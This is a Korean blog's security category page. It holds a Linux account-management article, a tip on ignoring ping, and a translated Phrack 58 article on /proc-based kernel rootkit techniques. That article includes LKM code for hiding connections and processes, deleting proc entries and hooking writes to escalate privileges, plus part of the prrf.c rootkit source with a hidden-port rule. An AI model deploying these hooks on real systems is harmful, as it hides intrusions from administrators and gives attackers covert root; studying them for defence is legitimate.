수안이의 컴퓨터 연구실

  • Mainpage
  • About Me
  • Tags
  • Metapage
  • Notice
  • Location
  • Keywords
  • Guestbook
  • Admin
  • Write an Article
  • Total | 1693903
  • Today | 254
  • Yesterday | 588

4 Articles, Search for 'Unix & Linux/Security'

  1. 2007/05/04 현실적인 리눅스 보안(세심한 어카운트 관리)
  2. 2007/04/09 ping 에 응답하지 않기
  3. 2006/11/24 Advances in kernel hacking
  4. 2006/11/24 커널의 오류를 이용한 파일에 특정 문자열의 삽입 공격 가능성
«Prev  1  Next»
Unix & Linux/Security2007/05/04 15:04

현실적인 리눅스 보안(세심한 어카운트 관리)

세심한 어카운트 관리를 통해 위험을 줄이고 골치거리 줄이기

Cameron Laird
Vice president, Phaseit, Inc.
2002년 10월

보안은 크고 도전이되는 주제이지만 서버측 책임을 맡고있는 사람이라면 기본 단계를 알아야 한다. 이곳에서 사용자 어카운트를 깨끗하고 안전하게 유지하는 많은 방법들을 배워보자.
보안은 어렵다. 어디까지 확대 시켜야 하는지도 알기 힘들다.

컴퓨팅 보안의 모든 부분을 지켜가는 것은 도전이 되는 일이지만 실제로 배울 수 있는 방법들은 꾸준히 연구되어 왔다. 리눅스 서버로 작업하고있는 사람들에게 우선 권하고 싶은 것은 어카운트 관리이다.

사용자 중심으로
리눅스 관리와 프로그래밍을 집중해서 다룬 책들 대부분이 "사용자 관리" 또는 "어카운트 관리"를 포함하고 있다 .

그 당시 "사용(use)"은 "로그인(log in to)"을 의미했다. 어카운트 관리는 어카운트를 설정하기 위한 useradd, chsh 등의 명령어로 작업하는 것이였다.

그러한 시대는 오래전에 지나갔고 대부분의 서버에 대해 /etc/passwd를 줄일 것을 권고했다. 내가 생각하기에 이것은 실수였다. 하나의 이메일 서버가 수만 명의 사용자들을 위해 메일박스를 핸들 할 당시였다 하더라도 기존의 /etc/ 패스워드 관행은 실수였다.

/etc/passwd에 의존하는 것은 가능하다. 놀라운 워크로드를 핸들 할 정도로 충분히 패치와 트윅이 추가되었다. 하지만 그렇게 하지 말았어야 했다. 사용자 어카운트를 LDAP (lightweight directory access protocol)나 RDBMS (relational database management system) 같은 전용 데이터 저장소로 옮긴다면 안정성, 보안, 유지보수에 큰 혜택을 받게 된다. /etc/passwd는 진실로 로그인을 원하는 몇몇 개발자들과 관리자들에게만 제한해야 한다.

이 관행은 보안에 있어서 큰 이득을 안겨다준다. 왜냐하면 서비스(이메일, 웹 등등)의 듀티 사이클(duty cycle) 사용자들은 개발자의 듀티 싸이클과 완전히 다르기 때문이다. 새로운 서버에서는 /etc/passwd는 자주 바뀌면 안된다. 업데이트와 탬퍼링 여부를 모니터링 하는 것은 쉬운 일이다. 큰 서버를 실행하고 있다면 새롭고 종료된 이메일 어카운트 변경을 매일매일 겪어야 한다. 그들을 /etc/passwd가 제공하는 더 넓은 액세스에서 분리 할 필요가 있다.

상호적인 어카운트 데이터 저장소를 만드는 것이 심각하게 들리는가? 그렇다. 매우 큰 /etc/passwd를 만들어 적절히 작동시키기 위해 오랜 시간동안 많은 사람들이 노력했다. 자신만의 어카운트 인증을 코딩하기로 결정하고 sendmail 같은 전통적인 이메일 프로그램에 의존한다면 SMTP, POP3, IMAP4 서버용 변경을 작성해야 할 것이다.

그러한 장애물들은 일반적으로 일반 소프트웨어를 사용하는 개발자들에게 나타나는 경향이다. 내가 개인적으로 선호하는 것은 다른 사람들이 작성하고 내가 재사용 할 수 있는 솔루션이다. 산업용 서버와 한 가지 차이점은 커스터마이징해야 한다는 것이다. 예를 들어 특별한 메시지 디렉토리, 로깅 정보, 사용 어카운팅을 설정할 경우가 그 예이다.

정책 자동화
개발자 어카운트를 사용자 서비스와 분리시키는 것 만큼 중요한 것은 정책을 자동화하는 것이다. 개발자(/etc/passwd)와 엔드유저(e-mail, Web, database)를 위해 어카운트를 만들고 삭제하는 구체적이고 자세한 프로세스를 만들어라. 이것들을 실행파일(executable)로 캡쳐링하는 것은 좋지만 반드시 그래야 하는 것은 아니다. 중요한 것은 프로세스가 합당하고 명확해지도록 해야 한다. 일상적인 어카운트 생성과 삭제는 언제나 보안 허점을 남겨놓는다. 직원들, 고객 지원, 다른 부서와 프로세스를 검토하라. 대안을 간구하지 않는 한 이 일은 심각하다.

어카운트 자동화의 부수적인 이익 중 하나는 좀더 철저한 타당성 검사이다. 개발자가 다른 속성을 이용하여 어카운트를 설정하는 편리한 방법을 모른다면 그러한 설정들을 차별화 하는 애플리케이션을 실행할 수 없다.

지속적인 경계
보안을 잘 확립하기 위해서는 생각하지 못하는 부분까지도 경계를 늦추지 말아야한다.

어떻게 그와 같은 일이 가능한가? 불행히도 "똑똑해지기" 같은 추상적인 목표에 도달할 수 있는 몇 가지 체계적인 방법만 있을 뿐이다. 우리가 할 수 있는 구체적인 일이라면 RISKS digest와 숙련된 엔지니어링 리뷰를 공부하는 것이다.

RISKS는 Peter G. Neumann이 1985년 부터 발행하는 온라인 뉴스레터이다(참고자료). 이 글을 읽으면 특히 어떻게 잘못되어가는지에 대한 실질적인 생각을 할 수 있다. Neumann은 읽기쉽고 재미있게 글을 편집했다.

또 한가지, 여러분의 생각을 다른사람과 습관처럼 나누어야 한다. 이것은 생각보다 재미있고 생산적인 일이다. 특히 검사라는 것은 피어(peer) 리뷰를 조직화 할 수 있는 훌륭한 방법이다.

결론
아래 참고자료에는 서버 보안에 대한 주제를 다룬 글을 제공한다. 참고하기 바란다.

http://www.ibm.com/developerworks/kr/pr ··· red.html

http://www.ibm.com/developerworks/kr/pr ··· eyc.html

http://www.ibm.com/developerworks/kr/pr ··· l-sec%2F

http://catless.ncl.ac.uk/Risks

http://www.ibm.com/developerworks/kr/pr ··· y.com%2F

http://www.ibm.com/developerworks/kr/pr ··· sc2.html


http://www.awprofessional.com/catalog/product.asp?product_id={A13F0625-B030-4CD2-B5A8-B5977733E0A7}&session_id={13B2A3ED-6FF5-48B7-A60A-B195834120FE}

http://www.ibm.com/developerworks/kr/pr ··· s.org%2F

http://www.ibm.com/developerworks/kr/pr ··· igin%3Dl
"Security" 카테고리의 다른 글
  • 현실적인 리눅스 보안(세심한 어카운트 관리) (0)2007/05/04
  • ping 에 응답하지 않기 (0)2007/04/09
  • Advances in kernel hacking (0)2006/11/24
  • 커널의 오류를 이용한 파일에 특정 문자열의 삽입... (0)2006/11/24
2007/05/04 15:04 2007/05/04 15:04
Posted by webdizen
Tags 리눅스 보안
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2898

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Security2007/04/09 17:53

ping 에 응답하지 않기

출처 : http://www.sarangnamu.net/basic/basic_v ··· ory%3D15

다음과 같은 명령어를 쓰면 됩니다.

--------------------------------------------------
# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
--------------------------------------------------

/etc/rc.d/rc.local 의 마지막에
추가하면 부팅시에 자동으로 적용됩니다.

[예]

[root@www logs]# ping phpschool.com
PING phpschool.com (210.108.91.167) from 210.108.91.167 : 56(84) bytes of data.
64 bytes from 210.108.91.167: icmp_seq=0 ttl=255 time=0.1 ms
64 bytes from 210.108.91.167: icmp_seq=1 ttl=255 time=0.1 ms
64 bytes from 210.108.91.167: icmp_seq=2 ttl=255 time=0.0 ms

--- phpschool.com ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.0/0.0/0.1 ms


[root@www logs]# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all


[root@www logs]# ping phpschool.com
PING phpschool.com (210.108.91.167) from 210.108.91.167 : 56(84) bytes of data.

--- phpschool.com ping statistics ---
14 packets transmitted, 0 packets received, 100% packet loss
[root@www logs]#
"Security" 카테고리의 다른 글
  • 현실적인 리눅스 보안(세심한 어카운트 관리) (0)2007/05/04
  • ping 에 응답하지 않기 (0)2007/04/09
  • Advances in kernel hacking (0)2006/11/24
  • 커널의 오류를 이용한 파일에 특정 문자열의 삽입... (0)2006/11/24
2007/04/09 17:53 2007/04/09 17:53
Posted by webdizen
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2794

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Security2006/11/24 17:06

Advances in kernel hacking

************************************************************************                 제목:  커널 해킹에서의 발전(프랙 58호)                 번역: vangelis(http://www.wowhacker.org)                 * 혹시라도 오역이나 오타 있으면 말씀해주시길 바랍니다.                   시간적 여유 없이 한거라 .... ************************************************************************                                ==Phrack Inc.==                Volume 0x0b, Issue 0x3a, Phile #0x06 of 0x0e |=-------=[ Sub proc_root Quando Sumus (커널 해킹에서의 발전) ]=------=| |=-----------------------------------------------------------------------=| |=-----------------=[ palmers <palmers@team-teso.net> ]=-----------------=| --[ 내용   1 - 도입   2 - VFS 및 Proc Primer     2.1 - VFS 그리고 왜 Proc인가?     2.2 - proc_fs.h     2.3 - proc_root   3 - 어디로 갈 것인가?     3.1 - 보안하기?     3.2 - 서비스 거부     3.3 - 연결 숨기기     3.4 - 권한 상승     3.5 - 프로세스 숨기기     3.6 - 다른 어플리케이션들   4 - 결론   5 - 참고문헌   색인 A: prrf.c --[ 1 - 소개   "19세기가 낭만주의를 싫어하는 것은 거울로 그 자신의 얼굴을 바라본 Caliban의 분노이다. 19세기가 리얼리즘을 싫어하는 것은 거울로 그 자신의 얼굴을 바라보지 않는 Caliban의 분노이다.                 - Oscar Wilde, "The picture of Dorian Gray"의 서문   여기서 나의 관심은 문학이 아니라 해킹이기 때문에 다시 언급해보자. 우리의 낭만주의는 보안이며, 리얼리즘은 그것의 그림자이다. 이 글은 해커 Caliban에 대한 것이다. 우리의 거울은 리눅스 커널이 될 것이다. 전체 커널은 아니다. 특히 proc 파일 시스템을 더욱 그렇다. 그것은 흥미로운 기능들을 제공하며, userland에서는 많이 사용된다. 나는 리눅스 커널 모듈(LKM)에서 사용할 목적으로 단지 이 테크닉을 기술할 것이다. 이 테크닉을 포팅하는 것은 독자들에게 달려있다. 비록 이 테크닉이 포팅이 가능하지만 그것들의 용법은 다른 unices에는 아주 필수적일 것이다.  리눅스에서 extends로 개발된 proc 파일 시스템은 다른 유닉스 시스템에서는 그렇게 확장되지 않았다. 일반적으로 그것은 프로세스마다 하나의 디렉토리를 목록으로 열거한다. 리눅스에서 그것은 많은 정보를 수집하기 위해 사용될 수 있다. 많은 프로그램들은 그것에 의존한다. 더 많은 정보는 [7]과 [8]에서 찾을 수 있다.   UNIX와 HP-UX 10.x의 구 버전은 proc 파일시스템을 제공하지 않는다.  ps(1) 명령에 의해 수집된 것과 같은 프로세스 데이터는 직접적으로 커널 메모리를 읽음으로서 획득된다. 이것은 슈퍼유저의 퍼미션을 요구하며, proc 파일 시스템 구조보다 훨씬 덜 포팅이 가능하다.    --[ 2 - VFS 그리고 Proc Primer   먼저 나는 나중에 계속 설명될 테크닉을 이해하기 위해 필요한 기본적인 내용을 언급하겠다. 그런 다음 proc  파일 시스템 디자인에 대해 살펴보도록 하고, 마지막으로 지붕 꼭대기(roof top)로 뛰어들겠다. --[ 2.1 - VFS 그리고 왜 Proc인가? 커널은 가상 파일시스템 또는 VFS라고 불리는 파일시스템 추출 층을 가지고 있다. 그것은 userland로부터 어떤 파일시스템에 대한 통합된 관점을 제공하기 위해 사용된다.(자세한 것은 [1]을 참고하라) 이 방법론에 대한 더 많은 정보는 [2]에서 찾을 수 있다.) 우리는 VFS 관점에서 proc을 보지는 않을 것이다. 우리는 비통합적인 파일시스템을 볼 것이며, 그것은 구현 차원의 proc 파일시스템에 있다. 이것은 단순한 이유를 가지고 있다. 우리는 proc에 변화를 적용하기를 원하고, 그것은 여전히 다른 어떤 파일시스템처럼 보여야 한다.   내가 왜 proc이 이 글에 초점이 되고 있는지 언급했는가? 그것은 흥미로운 두가지 속성이 있다.         1. 그것은 파일시스템이다.         2. 그것은 커널 메모리에서 완전히 거주하고  있다. 그것이 파일 시스템이기 때문에 userland로부터의 모든 접근은 커널에 의해 제공되는 VFS 층의 기능성, 즉, 읽고, 쓰고, 열기, 및 비슷한 시스템 호출에 제한되어 있다.(덧붙여 다른 접근 방법도..[3]을 보아라) 나는 “시스템 호출을 변경하지 않고서 커널에 어떻게 백도어가 심어지는가”라는 질문에 대해 자세하게 설명할 것이다. --[ 2.2 - proc_fs.h 이 하부장은 proc_fs.h라는 파일에 대해 다룰 것이다. 이 파일은 보통 ~/include/linux/에 있으며, ~은 커널 소스 트리의 루트이다. 여기서는 2.2 시리즈에 대한 것이다. /* * This is not completely implemented yet. The idea is to * create an in-memory tree (like the actual /proc filesystem * tree) of these proc_dir_entries, so that we can dynamically * add new files to /proc. * * The "next" pointer creates a linked list of one /proc directory, * while parent/subdir create the directory structure (every * /proc file has a parent, but "subdir" is NULL for all * non-directory entries). * * "get_info" is called at "read", while "fill_inode" is used to * fill in file type/protection/owner information specific to the * particular /proc file. */ struct proc_dir_entry {         unsigned short low_ino;         unsigned short namelen;         const char *name;         mode_t mode;         nlink_t nlink;         uid_t uid;         gid_t gid;         unsigned long size;         struct inode_operations * ops;         int (*get_info)(char *, char **, off_t, int, int);         void (*fill_inode)(struct inode *, int);         struct proc_dir_entry *next, *parent, *subdir;         void *data;         int (*read_proc)(char *page, char **start, off_t off,                         int count, int *eof, void *data);         int (*write_proc)(struct file *file, const char *buffer,                 unsigned long count, void *data);         int (*readlink_proc)(struct proc_dir_entry *de, char *page);         unsigned int count;        /* use count */         int deleted;                /* delete flag */ }; 기술된 "in-memory tree"는 VFS에 의해서 통합될 것이다. 이 구조는 커널 2.4에서는 약간 다르다. /* * This is not completely implemented yet. The idea is to * create an in-memory tree (like the actual /proc filesystem * tree) of these proc_dir_entries, so that we can dynamically * add new files to /proc. * * The "next" pointer creates a linked list of one /proc directory, * while parent/subdir create the directory structure (every * /proc file has a parent, but "subdir" is NULL for all * non-directory entries). * * "get_info" is called at "read", while "owner" is used to protect module * from unloading while proc_dir_entry is in use */ typedef int (read_proc_t)(char *page, char **start, off_t off,                         int count, int *eof, void *data); typedef int (write_proc_t)(struct file *file, const char *buffer,                         unsigned long count, void *data); typedef int (get_info_t)(char *, char **, off_t, int); struct proc_dir_entry {         unsigned short low_ino;         unsigned short namelen;         const char *name;         mode_t mode;         nlink_t nlink;         uid_t uid;         gid_t gid;         unsigned long size;         struct inode_operations * proc_iops;         struct file_operations * proc_fops;         get_info_t *get_info;         struct module *owner;         struct proc_dir_entry *next, *parent, *subdir;         void *data;         read_proc_t *read_proc;         write_proc_t *write_proc;         atomic_t count;                /* use count */         int deleted;                /* delete flag */         kdev_t  rdev; }; 몇년간의 개발이 끝이 나지 않았다. 좀 변했으며, get_info 함수 프로토타입은 독립변수를 잃어버렸다. 이것을 해결하는 것이 포팅가능한 코드를 약간 너절하게 만들었다. 하나의 항목 readlink_proc이 제거되지만 세 개의 새로운 항목이 있다는 것을 주목해라. 또한 파일 오퍼레이션 구조체는 inode 오퍼레이션으로부터 proc_dir_entry struct 안으로 이동했다는 것도 주목해라. 이것에 관해서는 섹션 3을 보자. --[ 2.3 - proc_root   리눅스 커널은 proc 파일 시스템의 루트 inode, 즉 proc_root를 export한다. 그래서 마운트포인트(보통 /proc)가 가리키는 것은 proc 파일 시스템의 루트 inode이다. 그곳에서 시작해 그 파일의 하부에 있는 어떤 파일에도 접근할 수 있다. 하지만, 한가지 예외가 있다. 프로세스들의 디렉토리들은 proc_root로부터 결코 도달될 수 없다. 그것들은 동적으로 추가되며, 만약 readdir(inode operation)이 호출되면 VFS 층으로 건네진다. proc_root는 "struct proc_dir_entry" 타입이라는 것이 분명해져야 한다. --[ 3 - 어디로 갈까? 이 장은 시스템호출 대체로 인해 보통 획득될 수 있는 것보다 훨씬 많은 능력을 습득하는 테크닉을 소개할 것이다. 다음 함수들과 매크로들은 이 하부 장에서 제공되는 코드에서 사용될 것이다. (구현에 대해서는 색인 A를 참고하라.) 섹션 2.2에서 살펴본 것처럼 우리는 디자인에서 약간의 변화를 조심해야 한다.                  #if defined (KERNEL_22)         #define FILE_OPS        ops->default_file_ops         #define INODE_OPS       ops         #elif defined (KERNEL_24)         #define FILE_OPS        proc_fops         #define INODE_OPS       proc_iops         #endif         struct proc_dir_entry *         traverse_proc (char *path, struct proc_dir_entry *start): 성공할 경우 path에 의해 지정된 proc 파일에 포인터를 리턴한다. 실패할 경우 NULL이 리턴된다. 시작은 NULL이나 또는 임의 proc_dir_entry일 수 있는데, 그것은 탐색이 시작되는 지점을 가리킨다. path는 "~/"로 시작될 수 있다. 만약 그렇다면 탐색은 proc_root에서 시작한다.         int         delete_proc_file (char *path): 이 함수는 proc 디렉토리 리스트로부터 어떤 파일을 제거할 것이다. 그것은 proc_dir_entry가 차지하고 있는 메모리를 비우지는 않을 것이다. 그래서 나중에 계속해서 그것을 다시 도입하는 것을 가능하게 만든다. --[ 3.1 - 안전하게 하기? 마음에 떠오르는 가장 쉬운 수정은 proc_dir_entry에 있는 첫 번째 몇몇 필더들에 관련된 것이다. 즉, uid, gid, 그리고 모드. 그것들을 변경함으로써 우리는 사용자들이 어떤 정보에 접근하는 권한을 재부여하거나 취소할 수 있다. /proc을 통해 접근가능한 정보들 중의 몇가지는 다른 방법으로 획득될 수 있다.      한가지 방법 구현:         proc_dir_entry *a = NULL;         a = traverse_proc ("~/ksyms", NULL);         if (a) {                 /* reset permissions to 400 (r--------): */                 a->mode -= (S_IROTH | S_IRGRP);         }         a = traverse_proc ("~/net", NULL);         if (a) {                 /* reset permissions to 750 (rwxr-x---): */                 a->mode = S_IRWXU | S_IRGRP | S_IXGRP;                 /* reset owner group to a special admin group id */                 a->gid = 7350;         } proc 접근을 안전하게 하는 다른 가능성은 3.5에 나와 있다.   --[ 3.2 - 서비스 거부 가능한 짧게 하겠다. 악의적인 사용자는 시스템의 일부를 쓸모없게 하기 위해 파일에 변경을 적용할 수 있다. 앞에서 언급한 것처럼 쉽게 끝장날 수 있다. 하지만 만약 악의적인 사용자가 간단히 파일의 링크를 해제한다면 그것은 상실된다.         /* oops, we forget to save the pointer ... */         delete_proc_file ("~/apm");   delete_proc_file 호출에서 실제로 일어난 것:         0. 삭제하기 위해(to_del) 파일의 proc_dir_entry를 찾는다.         1. 해당되는 proc_dir_entry를 찾는다:            proc->next->name == to_del->name         2. 다시 링크:            proc->next = to_del->next --[ 3.3 - 연결 숨기기 netstat 유틸리티는 예를 들어 TCP 연결과 상태, listening UDP 소켓 등을 보여주기 위해 proc 파일 ~/net/* 파일들을 사용한다. netstat에 대한 완전한 토론은 [4]를 읽어보아라. 우리가 proc 파일 시스템을 통제하기 때문에 무엇이 읽히고 읽히지 않는지를 정의할 수 있다. proc_dir_entry struct는 파일 읽기에 호출되는 get_info라는 함수 포인터를 포함하고 있다. 이것을 리다이렉트함으로써 우리는 /proc에 있는 파일들의 내용을 통제할 수 있다.    다른 버전의 파일 포맷에 유의해라. 위에서 언급된 파일들은 2.2.x에서 2.4.x로 포맷을 변경했다. 같은 함수가 리다이렉션을 위해 사용될 수 있다. 이것이 2.5.x 커널에서 어떻게 개발되는지 살펴보자.   예(2.2.x 커널용, 2.4.x 커널에서 차이점은 섹션 2.2를 보아라.)         /* we save the original get_info */         int (*saved_get_info)(char *, char **, off_t, int, int);         proc_dir_entry *a = NULL;         /* the new get_info ... */         int         new_get_info (char *a, char **b, off_t c, int d, int e) {                 int x = 0;                 x = saved_get_info (a, b, c, d, e);                 /* do something here ... */                 return x;         }         a = traverse_proc ("~/net/tcp", NULL);         if (a) {                 /*                  * we just set the get_info pointer to point to our new                  * function. to undo this changes simply restore the pointer.                  */                 saved_get_info = a->get_info;                 a->get_info = &new_get_info;         }   색인 A는 예로 구현한 것을 제공한다. --[ 3.4 - 권한 상승 종종 시스템 호출은 어떤 조건 하에서 사용자에게 특별한 권한을 어떤 주기 위해 활용된다. 우리는 이것을 위해 시스템 호출을 리다이렉트하지는 않을 것이다. 어떤 파일의 파일 읽기 작동을 리다이렉트하는 것으로도 충분하다. 왜냐하면 그것은 사용자가 데이터를 커널에 보내도록 허용하기 때문이면, 만약 우리가 올바른 패턴이나 또는 올바른 파일을 선택한다면 그것은 엄청 비밀스러울 것이다.(만약 그것이 /proc/sys/net/ipv4/ip_forward에 '1'을 쓰려고 한다면 0으로 task id를 상승시키는 것은 확실히 나쁜 생각이다.)    몇몇 코드가 이것을 설명할 것이다.         a = traverse_proc ("~/ide/drivers", NULL);         if (a) {                 /*                  * the write function is called if the file is written to.                  */                 a->FILE_OPS->write = &new_write;         } 우리가 덮어쓴 포인터를 저장하는 것이 좋은 생각이다. 만약 우리가 그 모듈을 제거한다면 함수를 포함한 메모리는 여유가 생길 수 도 있다. 만약 결과적으로 NULL 포인터를 호출한다면 시스템을 파괴할 수도 있다. 호기심 많은 독자라면 색인 A를 읽어보기를 권장한다. --[ 3.5 - 프로세스 숨기기 만약 디렉토리가 읽히기 되면 어떤 일이 생기는가? 그것의 inode를 찾아야 하고, 그런 다음 readdir를 이용해 그것의 항목을 읽어봐야 한다. VFS는 이것에 통합된 인터페이스를 제공하기 때문에 우리는 신경쓰지 않고 문제가 되는 부모 inode의 readdir로 포인터를 재설정한다.   프로세스 디렉토리들이 직접적으로 proc_root 하에 있기 때문에 부모 inode를 찾을 필요는 없다. 사용자의 메모리에 항목들을 쓰지 않는 것에 의해서가 아니라 우리가 항목들을 분류함으로써 사용자로부터 항목들을 숨기지는 않는다는 것을 주목해라.            /* a global pointer to the original filldir function */         filldir_t real_filldir;         static int new_filldir_root (void * __buf, const char * name,                         int namlen, off_t offset, ino_t ino) {                 /*                  * if the dir entry, that should be added has a stupid name                  * indicate a successful addition and do nothing.                  */                 if (isHidden (name))                         return 0;                 return real_filldir (__buf, name, namlen, offset, ino);         }         /* readdir, business as usual. */         int new_readdir_root (struct file *a, void *b, filldir_t c) {                 /*                  * Note: there is no need to set this pointer every                  * time new_readdir_root is called. But we have to set                  * it once, when we replace the readdir function. If we                  * know where filldir lies at that time this should be                  * changed. (yes, filldir is static).                  */                 real_filldir = c;                 return old_readdir_root (a, b, new_filldir_root);         }         /* replace the readdir file operation. */         proc_root.FILE_OPS->readdir = new_readdir_root;     만약 마지막으로 추가되어야할 프로세스가 숨겨져 있다면 filldir가 링크에 대해 신경을 쓰지 않기 때문에 항목들의 목록은 적절하게 링크가 되어 있지 않다. 하지만, 이것은 일어나지는 않을 것 같다. 사용자는 이 상태를 피할 필요가 있는 모든 파워를 가지고 있다.     부모 inode의 lookup inode 작용을 대체함으로써 /proc 내에 접근할 수 없는 파일들을 만드는 것이 가능하다.         struct dentry *new_lookup_root (struct inode *a, struct dentry *b) {                 /*                  * will result in:                  * "/bin/ls: /proc/<d_iname>: No such file or directory"                  */                 if (isHidden (b->d_iname))                         return NULL;                 return old_lookup_root (a, b);         }         /* ... enable the feature ... */         proc_root.INODE_OPS->lookup = &new_lookup_root;   이것은 적절한 접근 규칙을 확립하는데 사용될 수 있다. --[ 3.6 - 다른 어플리케이션 자, 어떤 파일들이 변경되기 위해 기다리고 있는지 살펴보자. /proc/net 디렉토리에 ip_fwnames(chain 이름을 정의)와 ip_fwchains(규칙들)가 있다. 이것들은 필터링 규칙을 목록으로 작성하도록 요구받는다면 ipchains(iptables가 아님)에 의해 읽힌다. 위에서 언급된 것처럼 존재하는 모든 tcp 소켓을 listening하는 tcp라는 이름을 가진 파일이 있다. 그와 같은 파일은 udp에도 역시 존재한다. 파일 raw는 raw 소켓의 목록을 작성한다. sockstat는 소켓 사용에 대한 통계를 포함하고 있다. 조심스럽게 쓰여진 백도어는 tcp, udp 등의 파일과 이 백도어 사이를 sync해야 한다. arp 유틸리티는 정보를 수집하기 위해 /proc/net/arp를 사용한다. route는 /proc/net/route 파일을 사용한다. 그것들의 맨페이지를 읽어보고, "FILES"와 "SEE ALSO"라는 이름을 가진 섹션을 찾아보아라. 하지만, 그 파일들을 점검하는 것은 단지 작업의 부분에 지나지 않는다. 예를 들어, ifconfig는 정보를 수집하기 위해 proc 파일(dev)에 추가해 ioctl 파일을 사용한다.      여러분들도 알겠지만 이 테크닉에는 수많은 어플리케이션들이 있다. 그것들의 출력을 필터링하거나 새로운 악의적인 항목을 추가하기 위해 새로운 get_info 함수들을 쓰는 것은 여러분들에게 달려있다.(존재하지 않은 문제들을 디버깅하기란 무지 어렵다.) --[ 4 - 결론   우리가 센션 3.2-3.6에서 보았듯이 리눅스 커널의 보안을 약하게 만드는 여러 가능성들이 있다. 기존의 커널 보호 역학은([5], [6]은 그것들을 예방하지 못할 것이다.) 시스템 호출 기반 및 백도어링 같은 잘 알려진 것들(이것에 대한 확실한 해결책이 있다)만 점검한다. LKM 지원을 비활성화하는 것은 여기서 포함된 특정한 구현만을 예방할 것이다.(왜냐하면 그것은 LKM이기 때문이다)     /dev[k]mem에 접근함으로써 proc 구조를 변경하는 것은 inode의 대부분의 데이터가 정적이기 때문에 쉽다. 그래서 그것들은 단순한 패턴 매칭에 의해서 발견될 수 있다.(단지 함수 포인터와 next/parent/subdir 포인터만이 다를 것이다.)   어떤 디렉토리나 파일을 숨기는 중요한 목표는 통과되지 않았다. 이것은 proc 게임에 의해 도달될 수 없다는 것을 의미하지는 않는다. 가능성은 필요한 바이너리를 커널 이미지 proc 구조 안으로 하드코딩하거나 또는 SDRAM을 사용하는 시스템에 사용되지 않는 메모리 공간을 차지하도록 하는 것이다. 또 다른 가능성은 VFS 층을 공격하는 것일지도 모른다. 물론 이것은 다른 문서의 이야기이다.        (개인적인 당부의 말 생략)    여기의 코드는 2.2.x와 2.4.x 커널에서 컴파일되고 실행되었다. --[ 5 - 참고문헌 [1] "Overview of the Virtual File System", Richard Gooch <rgooch@atnf.csiro.au>     http://www.atnf.csiro.au/~rgooch/linux/docs/vfs.txt [2] "Operating Systems, Design and Implementation", by Andrew S. Tanenbaum and     Albert S. Woodhull     ISBN 0-13-630195-9 [3] RUNTIME KERNEL KMEM PATCHING, Silvio Cesare <silvio@big.net.au>     http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt [4] netstat     see netstat(1) for further information. [5] StMichael, by Tim Lawless <lawless@netdoor.com>     http://sourceforge.net/projects/stjude [6] KSTAT, by FuSyS <fusys@s0ftpj.org>     http://s0ftpj.org/tools/kstat.tgz [7] proc pseudo-filesystem man page     see proc(5) [8] "T H E  /proc   F I L E S Y S T E M", Terrehon Bowden <terrehon@pacbell.net>,     Bodo Bauer <bb@ricochet.net> and Jorge Nerin <comandante@zaralinux.com>     ~/Documentation/filesystems/proc.txt (only in recent kernel source trees!)     http://skaro.nightcrawler.com/~bb/Docs/Proc --[ 색인 A: prrf.c <++> ./prrf.c /* * prrf.c * * LICENSE: * this file may be copied or duplicated in any form, in * whole or in part, modified or not, as long as this * copyright notice is prepended UNMODIFIED. * * This code is proof of concept. The author can and must * not be made responsible for any, including but not limited * to, incidental or consequential damage, data loss or * service outage. The code is provided "AS IS" and WITHOUT * ANY WARRENTY. USE IT AT YOU OWN RISK. * * palmers / teso - 12/02/2001 */ /* * NOTE: the get_info redirection DOES NOT handle small buffers. *       your system _might_ oops or even crash if you read less *       bytes then the file contains! */ /* * 2.2.x #define KERNEL_22 * 2.4.x #define KERNEL_24 */ #define KERNEL_22        1 #define DEBUG                1 #define __KERNEL__ #define MODULE #include <linux/module.h> #include <linux/kernel.h> #include <sys/syscall.h> #include <linux/config.h> #include <linux/types.h> #include <linux/slab.h> #include <linux/smp_lock.h> #include <linux/fd.h> #include <linux/fs.h> #include <linux/proc_fs.h> #include <linux/sched.h> #include <asm/uaccess.h> /* * take care of proc_dir_entry design */ #if defined (KERNEL_22)   #define FILE_OPS        ops->default_file_ops   #define INODE_OPS        ops #elif defined (KERNEL_24)   #define FILE_OPS        proc_fops   #define INODE_OPS        proc_iops #endif #define BUF_SIZE        65535 #define AUTH_STRING        "ljdu3g9edaoih" struct hide_proc_net {   int                        id;                /* entry id, useless ;) */   char                        *local_addr,        /* these should be self explaining ... */                         *remote_addr,                           *local_port,                         *remote_port; }; /* * global lst_entry: * set by traverse_proc, used by delete_proc_file. */ struct proc_dir_entry        *lst_entry = NULL; /* * some function pointers for saving original functions. */ #if defined (KERNEL_22)   int (*old_get_info_tcp) (char *, char **, off_t, int, int); #elif defined (KERNEL_24)   get_info_t *old_get_info_tcp; #endif ssize_t (*old_write_tcp) (struct file *, const char *, size_t, loff_t *); struct dentry * (*old_lookup_root) (struct inode *, struct dentry *); int (*old_readdir_root) (struct file *, void *, filldir_t); filldir_t real_filldir; /* * rules for hiding connections */ struct hide_proc_net hidden_tcp[] = {         {0, NULL, NULL, ":4E35", NULL},                /* match connection from ANY:ANY to ANY:20021 */         {1, NULL, NULL, NULL, ":4E35"},                /* match connection from ANY:20021 to ANY:ANY*/         {2, NULL, NULL, ":0016", ":4E35"},        /* match connection from ANY:20021 to ANY:22 */         {7350, NULL, NULL, NULL, NULL}                /* stop entry, dont forget to prepend this one */ }; /* * get_task: * find a task_struct by pid. */ struct task_struct *get_task(pid_t pid) {         struct task_struct        *p = current;         do {                 if (p->pid == pid)                 return p;                 p = p->next_task;         } while (p != current);         return NULL; } /* * __atoi: * atoi! */ int __atoi(char *str) {         int        res = 0,                 mul = 1;         char *ptr;         for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {                 if (*ptr < '0' || *ptr > '9')                         return (-1);                 res += (*ptr - '0') * mul;                 mul *= 10;         }         return (res); } /* * get_size_off_tcp: * get the size of the modified /proc/net/tcp file. */ static off_t get_size_off_tcp (char **start) {   off_t                x = 0,                 xx = 0,                 xxx = 0,                 y = 0;   char                tmp_buf[BUF_SIZE + 1];   do     {       x += y;       xx += xxx;       y = __new_get_info_tcp (tmp_buf, start, x, BUF_SIZE, 0, 1, &xxx);     } while (y != 0);   return x - xx; } /* * deny_entry: * check connection 